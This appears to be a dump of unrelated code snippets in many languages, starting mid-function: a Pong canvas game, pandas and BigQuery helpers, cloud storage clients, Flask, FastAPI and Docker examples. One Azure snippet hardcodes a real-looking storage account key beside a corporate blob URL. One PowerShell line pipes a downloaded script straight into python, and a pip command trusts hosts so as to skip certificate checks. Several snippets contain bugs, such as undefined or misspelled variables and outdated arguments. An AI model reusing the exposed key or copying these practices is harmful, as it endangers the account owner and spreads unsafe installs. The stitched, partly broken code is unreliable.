        new = frozenset(word)
        if (new in sets_list.keys()):
            sets_list[new].append(word)
        else:
            sets_list[new] = [word]
    
    for key in sets_list:
        groups_list.append(sets_list[key])
    
    return(groups_list)
def parenthesis(string):
    openchr = { 
        '(' : 0,
        '{' : 1,
        '[' : 2
    }
    closechr = { 
        ')' : 0,
        '}' : 1,
        ']' : 2
    }
    visited = []
    
    for char in string:
        if char in openchr:
            visited.append(char)
        else:
            if len(visited) == 0:
                return False
            popped = visited.pop(-1)
            if (openchr[popped] != closechr[char]):
                return False

    if len(visited) == 0:
        return True
    return False
def spiral(matrix, r, c):
    circular = []
    
    start_row, end_row = 0, r
    start_col, end_col = 0, c
    
    while start_row < end_row and start_col < end_col:
    
        for i in range(start_col, end_col):
            circular.append(matrix[start_row][i])
        start_row += 1
        
        for i in range(start_row, end_row):
            circular.append(matrix[i][end_col-1])
        end_col -= 1
        
        for i in range(end_col, start_col, -1):
            circular.append(matrix[end_row-1][i-1])
        end_row -= 1
        
        for i in range(end_row, start_row, -1):
            circular.append(matrix[i-1][start_col])
        start_col += 1
    
    return circular
import numpy as np
import pandas as pd
df = pd.DataFrame(np.random.randint(0,100,size=(100, 4)), columns=list('ABCD'))
import array
 
# Declare a list type object
list_object = [3, 4, 1, 5, 2]
 
# Declare an integer array object
array_object = array.array('i', [3, 4, 1, 5, 2])
 
print('Sorted list ->', sorted(list_object))
print('Sorted array ->', sorted(array_object))
from humanfriendly import format_timespan
secondsPassed = 1302
format_timespan(secondsPassed)
# '21 minutes and 42 seconds'
flash(u'You are about to delete everything!', 'alert-danger')

{% with messages = get_flashed_messages(with_categories=true) %}
  {% if messages %}
    {% for category, message in messages %}
      <div class="alert {{category}}" role="alert">
        {{message}}
      </div>
    {% endfor %}
  {% endif %}
{% endwith %}
import uuid
uuid.uuid4().hex
df = df.rename(columns={'oldName1': 'newName1', 'oldName2': 'newName2'})
# Or rename the existing DataFrame (rather than creating a copy) 
df.rename(columns={'oldName1': 'newName1', 'oldName2': 'newName2'}, inplace=True)
getopt.getopt(args, options, [long_options])
def __reduce__(self) -> Tuple:
        return (self.__class__, (*constructor_args,))
def image_display(surface, filename, xy):
    img = pygame.image.load(filename)  
    surface.blit(img, xy)
def go_meters(lon: float, lat: float, distance: float, bearing: float) -> Tuple[float, float]:
    """Returns a point in degrees longitude , latitude which lies at the specified distance
    and in the specified direction from the input point.

    Args:
        lon (float): Longitude in degrees
        lat (float): Latitude in degrees
        distance (float): Distance in meters
        bearing (float): Direction in degrees 

    Returns:
        Tuple[float, float]: Longitude and Latitude of the resulting Point
    """
    # https://stackoverflow.com/a/7835325
    r = 6371000
    brng = math.radians(bearing) #Bearing is 90 degrees converted to radians.

    lon1 = math.radians(lon) #Current lat point converted to radians
    lat1 = math.radians(lat) #Current long point converted to radians

    lat2 = math.asin(math.sin(lat1) * math.cos(distance/r)
            + math.cos(lat1) * math.sin(distance/r) * math.cos(brng))

    lon2 = lon1 + math.atan2(
                math.sin(brng) * math.sin(distance/r) * math.cos(lat1),
                math.cos(distance/r) - math.sin(lat1) * math.sin(lat2)
                )

    lat2 = math.degrees(lat2)
    lon2 = math.degrees(lon2)

    return (lon2, lat2)
<html>

<canvas id="gameCanvas" width="800"height="600"></canvas>

<script>
var canvas;
var canvasContext;
var ballX = 50;
var ballY = 50;
var ballSpeedX = 10;
var ballSpeedY = 4;

var player1Score = 0;
var player2Score = 0;
const WINNING_SCORE = 10;

var showingWinScreen = false;

var paddle1Y = 250;
var paddle2Y = 250;
const PADDLE_THICKNESS = 10;
const PADDLE_HEIGHT = 100;

function calculateMousePos(evt) {
        var rect = canvas.getBoundingClientRect();
        var root = document.documentElement;
        var mouseX = evt.clientX - rect.left - root.scrollLeft;
        var mouseY = evt.clientY - rect.top - root.scrollTop;
        return {
                x:mouseX,
                y:mouseY
          };
}

window.onload = function() {
        canvas = document.getElementById('gameCanvas');
        canvasContext = canvas.getContext('2d');

        var framesPerSecond = 30;
        setInterval(function() {
                moveEverything();
                drawEverything();
         }, 1000/framesPerSecond );

         canvas.addEventListener('mousemove',
                 function(evt) {
                         var mousePos = calculateMousePos(evt);
                         paddle1Y = mousePos.y-(PADDLE_HEIGHT/2);
                 });       
}

function ballReset() {
        if(player1Score >= WINNING_SCORE ||
           player2Score >= WINNING_SCORE) {
                player1Score = 0;
                player2Score = 0;
                showingWinScore = true;
}

        ballSpeedX = -ballSpeedX;
        ballX = canvas.width/2;
        ballY = canvas.height/2;
}

function computerMovement() {
        var paddle2YCenter = paddle2Y + (PADDLE_HEIGHT/2); 
        if(paddle2YCenter < ballY- 35) {
                paddle2Y += 6;
        } else  if(paddle2YCenter > ballY + 35) {
                paddle2Y -= 6;
        }
}

function moveEverything() {
        if(showingWinScreen) {
                return;
        }
        computerMovement();

        ballX = ballX + ballSpeedX;
        ballY = ballY + ballSpeedY;

        if(ballX < 0) {
                if(ballY > paddle1Y &&
                   ballY < paddle1Y+PADDLE_HEIGHT) {
                        ballSpeedX = -ballSpeedX;
                        
                        var deltaY = ballY
                                -(paddle1Y+PADDLE_HEIGHT/2);
                        ballSpeedY = deltaY * 0.35; 
                } else {
                        player2Score += 1; // must be BEFORE ballReset()
                        ballReset();
                }
        }
        if(ballX > canvas .width) {
                if(ballY > paddle2Y &&
                   ballY < paddle2Y+PADDLE_HEIGHT) {
                        ballSpeedX = -ballSpeedX;
                        var deltaY = ballY
                                -(paddle2Y+PADDLE_HEIGHT/2);
                        ballSpeedY = deltaY * 0.35; 
                } else {
                       player1Score += 1; // must be BEFORE ballReset()
                        ballReset();
                }
        }
        if(ballY < 0) {
                ballSpeedY = -ballSpeedY;
        }
        if(ballY > canvas.height) {
                ballSpeedY = -ballSpeedY;
        }            
}
 
function drawEverything() {
        // next line blanks out the screen with black
        colorRect(0,0,canvas.width,canvas.height,'black');

        if(showingWinScreen) {
                canvasContext.fillStyle = "white";
                canvasContext.fillText("click to continue", 100,100);
                return;
        }

        // this is left player paddle
        colorRect(5,paddle1Y,10,100,'white');

        // this is right computer paddle
        colorRect(785,paddle2Y,
        PADDLE_THICKNESS,PADDLE_HEIGHT, 'white');

        // next line draws the ball
        colorCircle(ballX, ballY, 10, 'white');

        canvasContext.fillText(player1Score, 100,100);
        canvasContext.fillText(player2Score, canvas.width-100,100);
}

function colorCircle(centerX, centerY, radius, drawColor) {
        canvasContext.fillStyle = drawColor;
        canvasContext.beginPath();
        canvasContext.arc(centerX, centerY, radius, 0,Math.PI*2,true);
        canvasContext.fill();       
}

function colorRect(leftX,topY, width,height, drawColor) {
        canvasContext.fillStyle = drawColor;
        canvasContext.fillRect(leftX,topY, width,height, drawColor);
}

</script>


</html>
with tx_dedup as (
    select
        *
    from (
        select
            transfer_id,
            row_number() over(partition by transfer_id order by amount desc) as rn_
        FROM `reby-cloud.temp_eu.delete_kernel_transactions`
    )
    where rn_ = 1
)

SELECT
    date_trunc(datetime(time_t),month) as month,
    sum(abs(amount))/100 as amount,
    count(*) as num_tx
FROM `reby-cloud.temp_eu.delete_kernel_transactions`
where transfer_id in (select transfer_id from tx_dedup)
group by 1
order by 1 desc
;
select
    transfer_id,
    count(*) as count_,
    array_agg(amount) as amounts,
    array_agg(type)
FROM `reby-cloud.temp_eu.delete_kernel_transactions`
group by 1
order by 1 desc
# Visualize one training batch
for images, labels in train_data_loader:
    fig, ax = plt.subplots(figsize = (10, 10))
    ax.set_xticks([])
    ax.set_yticks([])
    ax.imshow(make_grid(images, 4).permute(1,2,0))
    break
<!DOCTYPE html>  
<html>  
<head>  
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js">  
 </script>  
 <script type="text/javascript" language="javascript">  
 $(document).ready(function() {  
 $("h1").css("color", "red");  
 });  
 </script>  
 </head>  
<body>  
<h1>This is first paragraph.</h1>  
<p>This is second paragraph.</p>  
<p>This is third paragraph.</p>  
</body>  
</html>  

 
public class Simba{
	public static void main(String args[]){
	System.out.println("Hello Element Tutorials");
	}}
<?php
  $myVar = 'red';
  
  switch ($myVar) {
      case 'red':
          echo 'It is red';
          break;
      case 'blue':
          echo 'It is blue';
          break;
      case 'green':
          echo 'It is green';
          break;
  }
  ?> 
  
<select class="form-select" aria-label="Default select example">
  <option selected>Open this select menu</option>
  <option value="1">One</option>
  <option value="2">Two</option>
  <option value="3">Three</option>
</select>
<!DOCTYPE html>  
<html>  
<head>  
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js">  
 </script>  
 <script type="text/javascript" language="javascript">  
 $(document).ready(function() {  
 $("h1").css("color", "red");  
 });  
 </script>  
 </head>  
<body>  
<h1>This is first paragraph.</h1>  
<p>This is second paragraph.</p>  
<p>This is third paragraph.</p>  
</body>  
</html>  

 
<!DOCTYPE html>
<html>
<body>
<h1>JavaScript can change HTML content</h1>

<p id="one">JavaScript can change HTML content.</p>

<button type="button" onclick='document.getElementById("one").innerHTML = "Hello JavaScript!"'>Click Me!</button>

</body>
</html>
<!DOCTYPE html>
  <html>
  <head>
  <style>
  body {
    background-color: lightpink;
  }
  
  h1 {
    color: yellow;
    text-align: center;
  }
  
  p {
    font-family: roboto;
    font-size: 27px;
  }
  </style>
  </head>
  <body>
  
  <h1>My First CSS Example</h1>
  <p>This is a paragraph.</p>
  
  </body>
  </html>
  
<!DOCTYPE html>
<html>
<head>
<title>Page Title</title>
</head>
<body>

<h1>This is a Heading</h1>
<p>This is a paragraph.</p>

</body>
</html>
<!DOCTYPE html>
<html>
<head>
<title>HTML table Tag</title>
<style type="text/css">
    table, td, th {
        border: 1px solid red;
    }
</style>
</head>
<body>
    <table>
        <caption>User Details</caption>
        <thead>
            <tr>
                <th>No.</th>
                <th>Name</th>
                <th>Email</th>
            </tr>
        </thead>
        <tbody>
            <tr>
                <td>1</td>
                <td>Alura</td>
                <td>alura@mail.com</td>
            </tr>
            <tr>
                <td>2</td>
                <td>John</td>
                <td>john@mail.com</td>
            </tr>
            <tr>
                <td>3</td>
                <td>Milinda</td>
                <td>milida@mail.com</td>
            </tr>
        </tbody>
    </table>
</body>
</html>




	
<!DOCTYPE html>
<html>
<head>
    <title>HTML style tag</title>
    <style type="text/css">
        h1 { color: red; }
        p { color: yellow; }
    </style>
</head>
<body>
    <h1>This is a heading</h1>
    <p>This is a paragraph.</p>
</body>
</html>
In [3]: idx = df.groupby(['Mt'])['count'].transform(max) == df['count']

In [4]: df[idx]
Out[4]:
    Sp  Mt Value  count
0  MM1  S1     a      3
3  MM2  S3    mk      8
4  MM2  S4    bg     10
8  MM4  S2   uyi      7
df["User_Mean"] = df.groupby('User_ID')["Purchase"].transform('mean')
# Python 3
with open('/pythonwork/thefile_subset11.csv', 'w', newline='') as outfile:
    writer = csv.writer(outfile)
(Invoke-WebRequest -Uri https://raw.githubusercontent.com/python-poetry/poetry/master/get-poetry.py -UseBasicParsing).Content | python -
%load_ext autoreload
%autoreload 2
import warnings
warnings.filterwarnings("ignore")
#Provare encoding="utf-8" oppure 'latin-1'
#decimal indica il valore usato nel csv come separatore dei decimali
pd.read_csv("LGD_2020_ELAB Campione.CSV", sep=";",encoding='latin-1', decimal=",", header=0)
from PIL import Image
import glob
image_list = []
for filename in glob.glob('yourpath/*.gif'): #assuming gif
    im=Image.open(filename)
    image_list.append(im)
alt.Chart(cars).mark_point().encode(
    x='Horsepower',
    y='Miles_per_Gallon',
    color='Origin'
).properties(
    width=800,
    height=300
)
import math

def getFocallength(hFov_deg, width):
	return width/(2 * math.tan((hFov_deg * math.pi / 180)/2))
# libraries
import numpy as np
import matplotlib.pyplot as plt
 
# create dataset
height = [3, 12, 5, 18, 45]
bars = ('A', 'B', 'C', 'D', 'E')
x_pos = np.arange(len(bars))
 
# Create bars and choose color
plt.bar(x_pos, height, color = (0.5,0.1,0.5,0.6))
 
# Add title and axis names
plt.title('My title')
plt.xlabel('categories')
plt.ylabel('values')
 
# Create names on the x axis
plt.xticks(x_pos, bars)
 
# Show graph
plt.show()
a = [1, 2, 3, 4]
print(id(a)) #1772947465664
a[:2]=6,7,8,9,10,11
print(id(a)) #1772947465664
print(a) #[6, 7, 8, 9, 10, 11, 3, 4]
# something = 'salut'
something = ['hi','bae']
a = (something, 4, 5, 3, 2)
print(a)  #(['hi', 'bae'], 4, 5, 3, 2)
# something = 'hi'
something = ['salut']
print(a)  #(['hi', 'bae'], 4, 5, 3, 2)
#_________________________________________________
# something = 'salut'
something = ['hi','bae']
a = (something, 4, 5, 3, 2)
print(a)
# something = 'hi'
something[0] = 'salut'
print(a)   #(['salut', 'bae'], 4, 5, 3, 2)
pip3 install --trusted-host pypi.org --trusted-host files.pythonhosted.org <pip package>
STORAGEACCOUNTURL= "https://cchbcaadls2prod.blob.core.windows.net/cchbc"
STORAGEACCOUNTKEY= "J0OGUd0Ac+N8TJbptBLmnQ0okp4yqIpaynmHjBkIYnsJYIiC9mUBL6GrH+QQNSWewS3/7i7CSHckZaWvH3HIog=="
LOCALFILENAME= <local_file_name>
CONTAINERNAME= <container_name>
BLOBNAME= <blob_name>

#download from blob
t1=time.time()
blob_service_client_instance = BlobServiceClient(account_url=STORAGEACCOUNTURL, credential=STORAGEACCOUNTKEY)
print("\nListing blobs...")

# List the blobs in the container
blob_list = container_client.list_blobs()
for blob in blob_list:
    print("\t" + blob.name)
blob_client_instance = blob_service_client_instance.get_blob_client(CONTAINERNAME, BLOBNAME, snapshot=None)
with open(LOCALFILENAME, "wb") as my_blob:
    blob_data = blob_client_instance.download_blob()
    blob_data.readinto(my_blob)
t2=time.time()
print(("It takes %s seconds to download "+BLOBNAME) % (t2 - t1))
from autoviz.AutoViz_Class import AutoViz_Class

AV = AutoViz_Class()

dft = AV.AutoViz(
    filename="",
    dfte=df,
    lowess=False,
    chart_format="bokeh",
    max_rows_analyzed=150000,
    max_cols_analyzed=30
)
url = 'https://cchellenic.sharepoint.com/:x:/s/DataProject/EQBBeHbyS8VCuzpQHhE0WxgBQjDtvysYnoUej-KIzeC6Rw?e=nVRbNQ'
username = 'email'
password = 'parola'

ctx_auth = AuthenticationContext(url)
if ctx_auth.acquire_token_for_user(username, password):
  ctx = ClientContext(url, ctx_auth)
  web = ctx.web
  ctx.load(web)
  ctx.execute_query()
  print("Authentication successful")

response = File.open_binary(ctx, url)

#save data to BytesIO stream
bytes_file_obj = io.BytesIO()
bytes_file_obj.write(response.content)
bytes_file_obj.seek(0) #set file object to start

#read excel file and each sheet into pandas dataframe
df = pd.read_excel(bytes_file_obj, sheetname = "OHD Structure")
from datetime import datetime
import asyncio

from fastapi import FastAPI, WebSocket


app = FastAPI(
    title='WebSocket example',
    description='WebSocket example',
    version='0.0.1'
)


@app.websocket("/task/{task_uuid}")  # take a 'task_uuid' URL parameter
async def websocket_page(task_uuid, websocket: WebSocket):
    await websocket.accept()  # accept connections

    i = 0

    """
    create a loop to send the value of 'i' every second with a timestamp:
      13:30:01 - i is 5
      13:30:02 - i is 6
      13:30:03 - i is 7
    """
    while i < 10:
        timestamp = datetime.now().strftime("%H:%M:%S")
        await websocket.send_text(f"[{timestamp}] - i is {i}")
        i += 1
        await asyncio.sleep(1)
import os
import time

import numpy as np
import tensorflow as tf


os.environ['TF_CPP_MIN_LOG_LEVEL'] = '1'
tf.compat.v1.logging.set_verbosity(tf.compat.v1.logging.ERROR)

np.random.seed(2020)


def conv_block(x, kernel_size=3):
    # Define some part of graph here

    bs, h, w, c = x.shape
    in_channels = c
    out_channels = c

    with tf.compat.v1.variable_scope('var_scope'):
        w_0 = tf.compat.v1.get_variable('w_0', [kernel_size, kernel_size, in_channels, out_channels], initializer=tf.keras.initializers.glorot_normal())
        x = tf.nn.conv2d(x, w_0, [1, 1, 1, 1], 'SAME')

    return x


def get_data_batch(spatial_size, n_channels):
    bs = 1
    h = spatial_size
    w = spatial_size
    c = n_channels

    x_np = np.random.rand(bs, h, w, c)
    x_np = x_np.astype(np.float32)
    #print('x_np.shape', x_np.shape)

    return x_np


def run_graph_part(f_name, spatial_size, n_channels, n_iter=100):
    print('=' * 60)
    print(f_name.__name__)
    tf.compat.v1.reset_default_graph()
    
    with tf.compat.v1.Session() as sess:
        x_tf = tf.compat.v1.placeholder(tf.float32, [1, spatial_size, spatial_size, n_channels], name='input')
        z_tf = f_name(x_tf)
        
        sess.run(tf.compat.v1.global_variables_initializer())

        x_np = get_data_batch(spatial_size, n_channels)
        
        start_time = time.time()
        
        for _ in range(n_iter):
            z_np = sess.run(fetches=[z_tf], feed_dict={x_tf: x_np})[0]
        avr_time = (time.time() - start_time) / n_iter
        
        print('z_np.shape', z_np.shape)
        print('avr_time', round(avr_time, 3))

        n_total_params = 0
        
        for v in tf.compat.v1.get_collection(tf.compat.v1.GraphKeys.TRAINABLE_VARIABLES, scope='var_scope'):
            n_total_params += np.prod(v.get_shape().as_list())
        
        print('Number of parameters:', format(n_total_params, ',d'))

        # USING TENSORFLOW BENCHMARK
        benchmark = tf.test.Benchmark()
        results = benchmark.run_op_benchmark(sess=sess, op_or_tensor=z_tf, 
                                             feed_dict={x_tf: x_np}, burn_iters=2, min_iters=n_iter,
                                             store_memory_usage=False, name='example')

        return results


if __name__ == '__main__':
    results = run_graph_part(conv_block, spatial_size=512, n_channels=32, n_iter=100)
from datetime import datetime


def logger(func):
    def wrapper(*args, **kwargs):
        print('_' * 25)
        print(f'Run on: {datetime.today().strftime("%Y-%m-%d %H:%M:%S")}')
        print(f'Running function: {func.__name__}')
        func(*args, **kwargs)
        print('_' * 25)
    return wrapper
from time import time


def measure_time(func):
    def wrapper(*args, **kwargs):
        start = time()
        result = func(*args, **kwargs)
        print(f'Elapsed time is {time() - start} ms')
        return result
    return wrapper
version: '3.8'

services:
  fastapi_api:
    build:
      context: ./<path to Dockerfile>
    # the 'app.main' part of the next line assumes your main.py file is in a folder named 'app'
    command: gunicorn app.main:app --bind 0.0.0.0:5000 -w 2 -k uvicorn.workers.UvicornWorker
    ports:
      # host:container
      - "8000:5000"
FROM python:3.11-rc-slim

ENV WORKDIR=/usr/src/app
ENV USER=app
ENV APP_HOME=/home/app/web
ENV PYTHONDONTWRITEBYTECODE=1 PYTHONUNBUFFERED=1

WORKDIR $WORKDIR

RUN pip install --upgrade pip
COPY ./requirements.txt $WORKDIR/requirements.txt
RUN pip install -r requirements.txt

RUN adduser --system --group $USER
RUN mkdir $APP_HOME
WORKDIR $APP_HOME

COPY . $APP_HOME
RUN chown -R $USER:$USER $APP_HOME
USER $USER
"""
This example streams a playlist (.pls file) from an internet URL.
"""

import vlc


# URL to the .pls (playlist) file
playlist_url = "https://somafm.com/nossl/specials.pls"

# create a VLC instance and pass any VLC arguments you want to the new instance
# --intf dummy  is a dummy interface and this is used to run VLC in a headless mode
instance = vlc.Instance('--intf dummy')

player = instance.media_list_player_new()  # create a "media list" player for use with playlists

media = instance.media_list_new(playlist_url)  # create the media instance for the playlist

player.set_media_list(media)  # set what media instance you want to play

player.start()  # start the stream

player.pause()  # pause the stream

player.stop()  # stop the stream
import logging
 
from botocore.exceptions import ClientError
import boto3
 
 
def create_bucket(bucket_name, region=None):
    """Create an S3 bucket in a specified region
    If a region is not specified, the bucket is created in the S3 default
    region (us-east-1).
    :param bucket_name: Bucket to create
    :param region: String region to create bucket in, e.g., 'us-west-2'
    :return: True if bucket created, else False
    """
 
    # Create bucket
    try:
        if region is None:
            s3_client = boto3.client('s3')
            s3_client.create_bucket(Bucket=bucket_name)
        else:
            s3_client = boto3.client('s3', region_name=region)
            location = {'LocationConstraint': region}
            s3_client.create_bucket(Bucket=bucket_name,
                                    CreateBucketConfiguration=location)
    except ClientError as e:
        logging.error(e)
        return False
    return True
import aiohttp
import asyncio
 
 
async def fetch(client):
    async with client.get("https://python.org") as resp:
        assert resp.status == 200
        return await resp.text()
 
 
async def main():
    async with aiohttp.ClientSession() as client:
        html = await fetch(client)
        print(html)
 
 
loop = asyncio.get_event_loop()
loop.run_until_complete(main())
import random

print('Welcome to your Password Generator')

chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!?@€&$*()%.,;0123456789'

number = input('How many passwords you need? ')
number = int(number)

length = input('And how many characters? ')
length = int(length)

print('\nHere are your passwords: ')
for pwd in range(number):
    
    passwords = ''
    for c in range(length):
        passwords += random.choice(chars)

    print(passwords)
print("Thanks for using Password Gen.")
import logging

from botocore.exceptions import ClientError
import boto3


def create_bucket(bucket_name, region=None):
    """Create an S3 bucket in a specified region
    If a region is not specified, the bucket is created in the S3 default
    region (us-east-1).
    :param bucket_name: Bucket to create
    :param region: String region to create bucket in, e.g., 'us-west-2'
    :return: True if bucket created, else False
    """

    # Create bucket
    try:
        if region is None:
            s3_client = boto3.client('s3')
            s3_client.create_bucket(Bucket=bucket_name)
        else:
            s3_client = boto3.client('s3', region_name=region)
            location = {'LocationConstraint': region}
            s3_client.create_bucket(Bucket=bucket_name,
                                    CreateBucketConfiguration=location)
    except ClientError as e:
        logging.error(e)
        return False
    return True
import aiohttp
import asyncio


async def fetch(client):
    async with client.get("https://python.org") as resp:
        assert resp.status == 200
        return await resp.text()


async def main():
    async with aiohttp.ClientSession() as client:
        html = await fetch(client)
        print(html)


loop = asyncio.get_event_loop()
loop.run_until_complete(main())
from xml.etree import ElementTree
import requests

def get_xml_elements(response: requests.Response, element: str) -> list:
    """ list of a specific element in XML reponse """
    root = ElementTree.fromstring(response.content)
    return [i.text for i in root.iter("*") if i.tag == element]
import sys
import clipboard
import json

SAVED_DATA = "clipboard.json"


def save_data(filepath, data):
    with open(filepath, "w") as f:
        json.dump(data, f)


def load_data(filepath):
    try:
        with open(filepath, "r") as f:
            data = json.load(f)
            return data
    except:
        return {}


if len(sys.argv) == 2:
    command = sys.argv[1]
    data = load_data(SAVED_DATA)

    if command == "save":
        key = input("Enter a key: ")
        data[key] = clipboard.paste()
        save_data(SAVED_DATA, data)
        print("Data saved!")
    elif command == "load":
        key = input("Enter a key: ")
        if key in data:
            clipboard.copy(data[key])
            print("Data copied to clipboard.")
        else:
            print("Key does not exist.")
    elif command == "list":
        print(data)
    else:
        print("Unknown command")
else:
    print("Please pass exactly one command.")
def show_dataset(thumb_size, cols, rows, ds):
    mosaic = PIL.Image.new(mode='RGB', size=(thumb_size*cols + (cols-1), 
                                             thumb_size*rows + (rows-1)))
   
    for idx, data in enumerate(iter(ds)):
        img, target_or_imgid = data
        ix  = idx % cols
        iy  = idx // cols
        img = np.clip(img.numpy() * 255, 0, 255).astype(np.uint8)
        img = PIL.Image.fromarray(img)
        img = img.resize((thumb_size, thumb_size), resample=PIL.Image.BILINEAR)
        mosaic.paste(img, (ix*thumb_size + ix, 
                           iy*thumb_size + iy))

    display(mosaic)
    
ds = get_dataset(files_train, CFG).unbatch().take(12*5)   
show_dataset(64, 12, 5, ds)                 
[[def divide(num1, num2):
    if num2 != 0:
        return num1 / num2
        # print(num1 / num2)

    else:
        print('denominator can\'t be 0')
        return divide(int(input('first number:')),int(input('second number:')))
    # 1)function zamani None return mikone ke  az "return" stefade nakarde bashi.
    # 2)age seri aval behesh (4,0) bedi baed behesh (10,5) bedi, in 
    #funtion 2 bar call mishe, seri aval None ro barmigardune chon returni
    # vojud nadare,serie dovom adad ro return mikone .chon return faghat tuye
    # "if" hast, age ghesmate else ejra beshe, None reurn mishe   


print(divide(4, 0))
# divide(4, 0)
print('this is out of function')]]
images, boxes = torch.rand(2, 3, 400, 400).to(device), torch.rand(2, 11, 4).to(device)
boxes[:, :, 2:4] = boxes[:, :, 0:2] + boxes[:, :, 2:4]
labels = torch.randint(0, 2, (4, 11)).to(device)
images = list(image for image in images)
targets = []
for i in range(len(images)):
    d = {}
    d['boxes'] = boxes[i]
    d['labels'] = labels[i]
    targets.append(d)

model = model.to(device)
output = model(images, targets)
from pandas_profiling import ProfileReport
profile = ProfileReport(df, title="Pandas Profiling Report")
profile.to_file("your_report.html")
def octal_to_string(octal):
    result = ""
    value_letters = [(4,"r"),(2,"w"),(1,"x")]

    for i in [int(n) for n in str(octal)]:

        for value, letter in value_letters:
            
            if i >= value:
                result += letter
                i -= value

            else:

                result += "-"

    return result
    
print(octal_to_string(755)) # Should be rwxr-xr-x
print(octal_to_string(644)) # Should be rw-r--r--
print(octal_to_string(750)) # Should be rwxr-x---
print(octal_to_string(600)) # Should be rw-------
def faktorial(N):
    i=1
    fakt=1
    while i!=N+1:
        fakt = fakt*i        
        i += 1
    return fakt

print(faktorial(5))
def faktorial(N):
    i=1
    fakt=1
    while i!=N+1:
        fakt = fakt*i        
        i += 1
    return fakt

print(faktorial(5))
def getLargest(a,b,c):
    if a>b:
        if a>c:
            return a
        else: 
            return c
    else:
        if b>c:
            return b
        else:
            return c
def addNums(a,b):
    summa = a + b
    return summa
import dash
import dash_core_components as dcc
import dash_html_components as html
from dash.dependencies import Input, Output
import plotly.express as px

import pandas as pd

df = pd.read_csv('https://raw.githubusercontent.com/plotly/datasets/master/gapminderDataFiveYear.csv')

app = dash.Dash(__name__)

app.layout = html.Div([
    dcc.Graph(id='graph-with-slider'),
    dcc.Slider(
        id='year-slider',
        min=df['year'].min(),
        max=df['year'].max(),
        value=df['year'].min(),
        marks={str(year): str(year) for year in df['year'].unique()},
        step=None
    )
])


@app.callback(
    Output('graph-with-slider', 'figure'),
    Input('year-slider', 'value'))
def update_figure(selected_year):
    filtered_df = df[df.year == selected_year]

    fig = px.scatter(filtered_df, x="gdpPercap", y="lifeExp",
                     size="pop", color="continent", hover_name="country",
                     log_x=True, size_max=55)

    fig.update_layout(transition_duration=500)

    return fig


if __name__ == '__main__':
    app.run_server(debug=True)
import pandas as pd

# Dictionary of string and int
char_dict = {
    'C': 56,
    "A": 23,
    'D': 43,
    'E': 78,
    'B': 11
}

# Convert a dictionary to a Pandas Series object.
# dict keys will be index of Series &
# values of dict will become values in Series.
series_obj = pd.Series(char_dict)

print('Contents of Pandas Series: ')
print(series_obj)
import numpy as np

arr = np.array([1, 2, 3, 4, 5, 6])

newarr = np.array_split(arr, 3)

print(newarr)

###
arr2 = np.array([1, 2, 3, 4, 5, 6])

newarr = np.array_split(ar2r, 4)

print(newarr)
gcp_key='../gcp_key.json'
fs = gcsfs.GCSFileSystem(project=gcp_project, access="read", token=gcp_key)
df_ext = pd.read_csv(file_name,storage_options={"token": gcp_key})
def apply_bq_naming_requirements(dataframe: pd.DataFrame) -> pd.DataFrame:
    """
    Removes accents.
    Replaces spaces and `-` with `_`.
    Lowercase.

    Args:
      dataframe: Dataframe to be formatted.

    Returns:
      Pandas dataframe with columns changed.
    """

    def strip_accents(s):
        return ''.join(c for c in unicodedata.normalize('NFD', s)
                       if unicodedata.category(c) != 'Mn')

    fixed_columns = [column.replace("-", "_") for column in dataframe.columns.tolist()]
    fixed_columns = [column.replace(" ", "_") for column in fixed_columns]
    fixed_columns = [strip_accents(column) for column in fixed_columns]
    fixed_columns = [column.lower() for column in fixed_columns]
    dataframe.columns = fixed_columns
    return dataframe
import unicodedata

def strip_accents(s):
    return ''.join(c for c in unicodedata.normalize('NFD', s)
                   if unicodedata.category(c) != 'Mn')
pd.read_excel('path/to/file.xlsx', engine='openpyxl')
conda create --name kedro-environment python=3.7 -y
import pandas as pd

df = pd.DataFrame([('Foreign Cinema', 'Restaurant', 289.0),
                   ('Liho Liho', 'Restaurant', 224.0),
                   ('500 Club', 'bar', 80.5),
                   ('The Square', 'bar', 25.30)],
           columns=('name', 'type', 'AvgBill')
                 )

#Now let's remove the "type" column from our dataset. We set our axis=1 to specify we are dropping #columns
df_drop_column = df.copy()
df_drop_column.drop("type", axis=1)
from google.cloud import bigquery

# Construct a BigQuery client object.
client = bigquery.Client()

datasets = list(client.list_datasets())  # Make an API request.
project = client.project

if datasets:
    print("Datasets in project {}:".format(project))
    for dataset in datasets:
        print("\t{}".format(dataset.dataset_id))
else:
    print("{} project does not contain any datasets.".format(project))
monthly_sales = pd.merge(prediction_df[['category', 'distributorid', 'segment']], monthly_sales, on = ['category', 'distributorid'])
df = pd.DataFrame({'A': [-3, 7, 4, 0], 'B': [-6, -1, 2, -8], 'C': [1, 2, 3, 4]})

#it goes through column A, selects where it's negative & replaces with 2, or if it's not negative it puts in the values from column C
df.A = np.where(df.A < 0, 2, df.C)


#it goes through column A, selects where it's negative & replaces with 2, or if it's not negative it leaves it as is
df.A = np.where(df.A < 0, 2, df.A)
xdata = (np.array(ret_rates.time_since_acqm)).reshape(-1,1)
#xdata.reshape(-1,1)
plt.plot(xdata, ret_rates.value_retention)
model = LinearRegression().fit(xdata, ret_rates.value_retention)
y_pred = model.predict(xdata)
plt.plot(xdata, y_pred)

##be sure to reshape the x value so you can get the ypred against it
def get_gcp_project_name():
    """
    ()-->str
    Get the project_id from GOOGLE_APPLICATION_CREDENTIALS (if running locally) or metadata.google.internal (if running on GCF).

    :return bucket_name: str
    """
    # if this is running locally then GOOGLE_APPLICATION_CREDENTIALS should be defined
    if os.getenv('GOOGLE_APPLICATION_CREDENTIALS'):
        with open(os.environ['GOOGLE_APPLICATION_CREDENTIALS'], 'r') as fp:
            credentials = json.load(fp)
        gcp_project = credentials['project_id']
    # If this is running in a cloud function, then get gcp_project from url
    else:
        metadata_server = "http://metadata.google.internal/computeMetadata/v1/project/project-id"
        metadata_flavor = {'Metadata-Flavor' : 'Google'}
        gcp_project = requests.get(metadata_server, headers = metadata_flavor).text
    return gcp_project
from xlsx2csv import Xlsx2csv
from io import StringIO
import pandas as pd


def read_excel(path: str, sheet_name: str) -> pd.DataFrame:
    buffer = StringIO()
    Xlsx2csv(path, outputencoding="utf-8", sheet_name=sheet_name).convert(buffer)
    buffer.seek(0)
    df = pd.read_csv(buffer)
    return df
colors = ['red', 'green', 'blue']
for idx, color in enumerate(colors):
	print(idx, color)
